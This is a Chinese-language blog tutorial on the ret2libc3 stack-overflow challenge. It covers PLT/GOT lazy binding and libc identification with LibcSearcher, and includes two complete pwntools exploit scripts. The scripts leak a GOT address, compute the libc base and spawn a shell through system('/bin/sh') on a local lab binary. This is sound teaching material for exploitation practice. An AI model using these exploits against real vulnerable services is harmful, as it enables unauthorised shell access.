栈溢出入门07 ret2libc3&Hijack GOT
ret2libc思路ret2libc就是控制函数的执行libc中的函数,通常是返回至某个函数的 plt 处。一般情况下,我们会选择执行 system("/bin/sh"),因此我们通常需要找到 system 函数的地址。
这里为什么不能跳转到got表呢?
plt表里面的地址对应的指令
got表里面的地址对应的是地址
而返回地址必须保存一段有效的汇编指令,因此必须用plt表。
ret2libc通常可以分为下面这几类:
程序中自身就含有system函数和"/bin/sh"字符串
程序中自身就有system函数,但是没有"/bin/sh"字符串
程序中自身就没有system函数和"/bin/sh"字符串,但给出了libc.so文件
程序中自身就没有system函数和"/bin/sh"字符串,并且没有给出libc.so文件
不管程序没有直接给出我们需要条件,我们都要想办法找到system()函数的地址和"/bin/sh"字符串的地址;当程序中没有"/bin/sh"字符串时,我们可以利用程序中某些函数如:read,fgets,gets等函数将"/bin/sh"字符串写入bss段或某个变量中,并且要可以找到其地址;对于只给出了libc.so文件的程序,我们可以直接在libc.so文件当中去找system()函数和"/bin/sh"字符串,因为libc.so文件中也是包含了这些的;最后对于没有给出libc.so文件的程序,我们可以通过泄露出程序当中的某个函数的地址,通过查询来找出其使用lib.so版本是哪一个.
LibcSearcher:
安装方式pip install LibcSearcher (这个我没试过)
我是去github上搜LibcSearcher-ng这个项目才行,这是一个在线使用的库,原来中文互联网上用的那个LibcSearcher的项目大概500M已经很久不更新了,统一用现在的这个带-ng的项目就是了。
这个项目的可以帮助你找到符合你给出地址的的libc版本。
checksec + IDA
1 [*] '/mnt/hgfs/ubuntu_share/pwn/wiki/ret2libc3' 2 Arch: i386-32-little 3 RELRO: Partial RELRO 4 Stack: No canary found 5 NX: NX enabled 6 PIE: No PIE (0x8048000)

发现依旧是栈溢出
但是并没有查找到system函数
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# objdump -d ret2libc3 | grep 'plt' 8048415: e8 56 00 00 00 call 8048470 <__gmon_start__@plt> Disassembly of section .plt: 08048420 <printf@plt-0x10>: 08048430 <printf@plt>: 08048440 <gets@plt>: 08048450 <time@plt>: 08048460 <puts@plt>: 08048470 <__gmon_start__@plt>: 08048480 <srand@plt>: 08048490 <__libc_start_main@plt>: 080484a0 <setvbuf@plt>: 080484b0 <rand@plt>: 080484c0 <__isoc99_scanf@plt>:
/bin/sh字符串也没有
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary ret2libc3 --string "/bin/sh" Strings information ============================================================
但是在plt表中发现了puts函数。
首先有NX就不能注入shellcode了,又没后门函数,只能试试ret2libc。
没有 system 也没有 /bin/sh,需要使用 libc 中的 system 和 /bin/sh,知道了libc中的一个函数的地址就可以确定该程序利用的 libc。在某个确定的libc中各个函数之间的偏移是不变的,而且程序加载libc的时候最低的12位地址也是不变的,从而我们可以知道libc的版本,进而确定其他函数的地址。我们泄露GOT表函数地址的方法有个名字叫:Hijack GOT
libc的延迟绑定
动态链接的程序是在运行时需要对全局和静态数据访问进行GOT定位,然后间接寻址。同样,对于模块间的调用也需要GOT定位,再才间接跳转,这么做势必会影响到程序的运行速度。而且程序在运行时很大一部分函数都可能用不到,于是ELF采用了当函数第一次使用时才进行绑定的思想,也就是我们所说的延迟绑定。ELF实现 延迟绑定 是通过 PLT ,原先 GOT 中存放着全局变量和函数调用,现在把他拆成另个部分 .got 和 .got.plt,用 .got 存放着全局变量引用,用 .got.plt 存放着函数引用。
简而言之,一个函数被调用过以后,got表里保存了它在内存中的地址,可以通过泄露got表内存来泄露函数地址,就可以根据其与libc中该函数的偏移计算其他函数在内存空间中的地址。因为libc中任意两个函数之间的偏移是固定的。
获得 libc 的某个函数的地址通常采用的方法是:通过 got 表泄露,但是由于libc的延迟绑定,需要泄露的是已经执行过的函数的地址。
注:星盟安全给出的是泄露__libc_start_main_的地址,但是用LibcSearcher搜出来10个动态库都不对,当一个函数搜出来不对时我们可以尝试使用另一个函数puts,我在kali 2024.2年的那个版本里用puts就成功了。
栈溢出后先返回到puts函数处输出puts函数的地址,然后put完成后仍然需要再次返回main函数(实际上返回start函数更好,偏移值不会变),以便我们再次进行栈溢出。同时我们利用刚才输出的puts的真实地址用LibcSearcher搜索出使用 的libc版本。
根据第一步得到到libc版本,我们可以得到出system函数的偏移和“/bin/sh”的偏移,以及puts函数的偏移,进而计算出加载libc的基地址,再进而计算处system函数与“/bin/sh”的地址。由于第一步puts函数执行完后会再次返回main函数我们可以进行第二次溢出,又计算出了所需的地址我们可以构造payload
总结一下:先泄露got表,并且泄露后再次返回main----->寻找到libc版本,计算所需地址------->第二次溢出------>getshell
exp:
#!/usr/bin/env python from pwn import * from LibcSearcher import * elf=ELF('ret2libc3') p=process('./ret2libc3') puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] start_addr = elf.symbols['_start'] #gdb.attach(p) payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got) p.sendlineafter(b"!?",payload1) puts_addr=u32(p.recv(4)) libc=LibcSearcher('puts',puts_addr) libcbase=puts_addr-libc.dump("puts") system_addr=libcbase+libc.dump("system") binsh_addr=libcbase+libc.dump("str_bin_sh") payload2=b'A'*112+p32(system_addr)+p32(1234)+p32(binsh_addr) p.sendlineafter(b"!?",payload2) p.interactive()

刚才在libc.rip网站上查了一下,仅仅查询__libc_start_main函数的时候查出的前十个结果都不能用。推测这个坑爹网站和LibcSearcher一样只给出前10个可能的结果,需要多个地址查询缩小范围。
加上puts的地址查询后结果就大幅缩减了---仅有4个待选

如果已经确认了某个libc库我们可以直接读取里边的相对偏移地址。以下是从IDA里读取出的相对偏移量




有了上边的偏移量我们就可以不使用LibcSearcher了直接上exp:
#!/usr/bin/env python from pwn import * elf=ELF('ret2libc3') p=process('./ret2libc3') puts_plt=elf.plt['puts'] ####if you know the libc version,you can use the preciso address offset instend of LibcSearcher libc_start_main_offset = 0x23CA0 system_offset = 0x4DD50 str_binsh_offset = 0x1B9DCD puts_offset = 0x75080 puts_got=elf.got['puts'] __libc_start_main = elf.got['__libc_start_main'] start_addr = elf.symbols['_start'] #this payload leak puts address #payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got) #this payload leak __libc_start_main address payload1 = b'A'*112+p32(puts_plt)+p32(start_addr)+p32(__libc_start_main) p.sendlineafter(b"!?",payload1) puts_addr=u32(p.recv(4)) print("real address:%#x"%puts_addr) #libcbase=puts_addr-puts_offset libcbase=puts_addr-libc_start_main_offset system_addr=libcbase+system_offset binsh_addr=libcbase+str_binsh_offset payload2=b'A'*112+p32(system_addr)+p32(1234)+p32(binsh_addr) p.sendlineafter(b"!?",payload2) p.interactive()

浙公网安备 33010602011771号